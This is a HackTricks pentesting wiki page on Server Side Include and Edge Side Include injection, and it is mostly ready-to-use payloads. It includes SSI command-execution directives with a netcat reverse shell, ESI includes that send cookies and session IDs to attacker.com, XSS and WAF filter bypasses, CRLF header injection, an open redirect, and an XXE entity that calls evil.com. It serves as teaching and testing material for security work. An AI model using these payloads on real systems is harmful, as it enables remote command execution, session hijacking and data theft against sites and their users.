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# Server Side Inclusion/Edge Side Inclusion Injection
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Server Side Inclusion Basic Information
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**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
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SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
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For example, you might place a directive into an existing HTML page, such as:
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`<!--#echo var="DATE_LOCAL" -->`
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And, when the page is served, this fragment will be evaluated and replaced with its value:
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`Tuesday, 15-Jan-2013 19:28:54 EST`
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The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution.
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You can infer the presence of SSI if the web application uses files with the extensions**`.shtml`, `.shtm` or `.stm`**, but it's not only the case.
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A typical SSI expression has the following format:
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```
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<!--#directive param="value" -->
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```
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### Check
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```javascript
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// Document name
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<!--#echo var="DOCUMENT_NAME" -->
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// Date
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<!--#echo var="DATE_LOCAL" -->
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// File inclusion
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<!--#include virtual="/index.html" -->
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// Including files (same directory)
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<!--#include file="file_to_include.html" -->
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// CGI Program results
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<!--#include virtual="/cgi-bin/counter.pl" -->
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// Including virtual files (same directory)
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<!--#include virtual="file_to_include.html" -->
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// Modification date of a file
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<!--#flastmod file="index.html" -->
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// Command exec
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<!--#exec cmd="dir" -->
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// Command exec
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<!--#exec cmd="ls" -->
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// Reverse shell
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<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
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// Print all variables
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<!--#printenv -->
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// Setting variables
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<!--#set var="name" value="Rich" -->
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```
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## Edge Side Inclusion
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There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\
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If an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users.
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### ESI Detection
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The following **header** in a response from the server means that the server is using ESI:
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```
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Surrogate-Control: content="ESI/1.0"
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```
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If you can't find this header, the server **might be using ESI anyways**.\
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A **blind exploitation approach can also be used** as a request should arrive to the attackers server:
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```javascript
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// Basic detection
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hell<!--esi-->o
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// If previous is reflected as "hello", it's vulnerable
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// Blind detection
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<esi:include src=http://attacker.com>
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// XSS Exploitation Example
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<esi:include src=http://attacker.com/XSSPAYLOAD.html>
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// Cookie Stealer (bypass httpOnly flag)
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<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
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// Introduce private local files (Not LFI per se)
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<esi:include src="supersecret.txt">
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// Valid for Akamai, sends debug information in the response
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<esi:debug/>
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```
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### ESI exploitation
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[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:
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* **Includes**: Supports the `<esi:includes>` directive
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* **Vars**: Supports the `<esi:vars>` directive. Useful for bypassing XSS Filters
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* **Cookie**: Document cookies are accessible to the ESI engine
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* **Upstream Headers Required**: Surrogate applications will not process ESI statements unless the upstream application provides the headers
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* **Host Allowlist**: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts
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| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
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| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
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| Squid3 | Yes | Yes | Yes | Yes | No |
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| Varnish Cache | Yes | No | No | Yes | Yes |
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| Fastly | Yes | No | No | No | Yes |
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| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
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| NodeJS esi | Yes | Yes | Yes | No | No |
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| NodeJS nodesi | Yes | No | No | No | Optional |
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#### XSS
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The following ESI directive will load an arbitrary file inside the response of the server
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```xml
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<esi:include src=http://attacker.com/xss.html>
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```
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#### Bypass client XSS protection
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```xml
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x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
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Use <!--esi--> to bypass WAFs:
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<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
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<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
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```
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#### Steal Cookie
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* Remote steal cookie
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```xml
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<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
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<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
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```
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* Steal cookie HTTP\_ONLY with XSS by reflecting it in the response:
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{% code overflow="wrap" %}
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```bash
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# This will reflect the cookies in the response
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<!--esi $(HTTP_COOKIE) -->
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# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
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<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
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# It's possible to put more complex JS code to steal cookies or perform actions
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```
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{% endcode %}
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#### Private Local File
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Do not confuse this with a "Local File Inclusion":
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```markup
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<esi:include src="secret.txt">
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```
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#### CRLF
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```markup
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<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
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```
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#### Open Redirect
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The following will add a `Location` header to the response
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```bash
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<!--esi $add_header('Location','http://attacker.com') -->
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```
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#### Add Header
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* Add header in forced request
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```xml
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<esi:include src="http://example.com/asdasd">
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<esi:request_header name="User-Agent" value="12345"/>
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</esi:include>
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```
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* Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)
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{% code overflow="wrap" %}
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```bash
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<!--esi/$add_header('Content-Type','text/html')/-->
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<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
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# Check the number of url_decode to know how many times you can URL encode the value
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```
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{% endcode %}
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#### CRLF in Add header (**CVE-2019-2438)**
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```xml
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<esi:include src="http://example.com/asdasd">
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<esi:request_header name="User-Agent" value="12345
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Host: anotherhost.com"/>
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</esi:include>
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```
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#### Akamai debug
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This will send debug information included in the response:
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```xml
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<esi:debug/>
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```
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### ESI + XSLT = XXE
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It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE):
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```xml
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<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
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```
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XSLT file:
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
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<foo>&xxe;</foo>
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```
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Check the XSLT page:
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{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
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[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
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{% endcontent-ref %}
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### References
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* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
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* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
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* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
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## Brute-Force Detection List
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %} |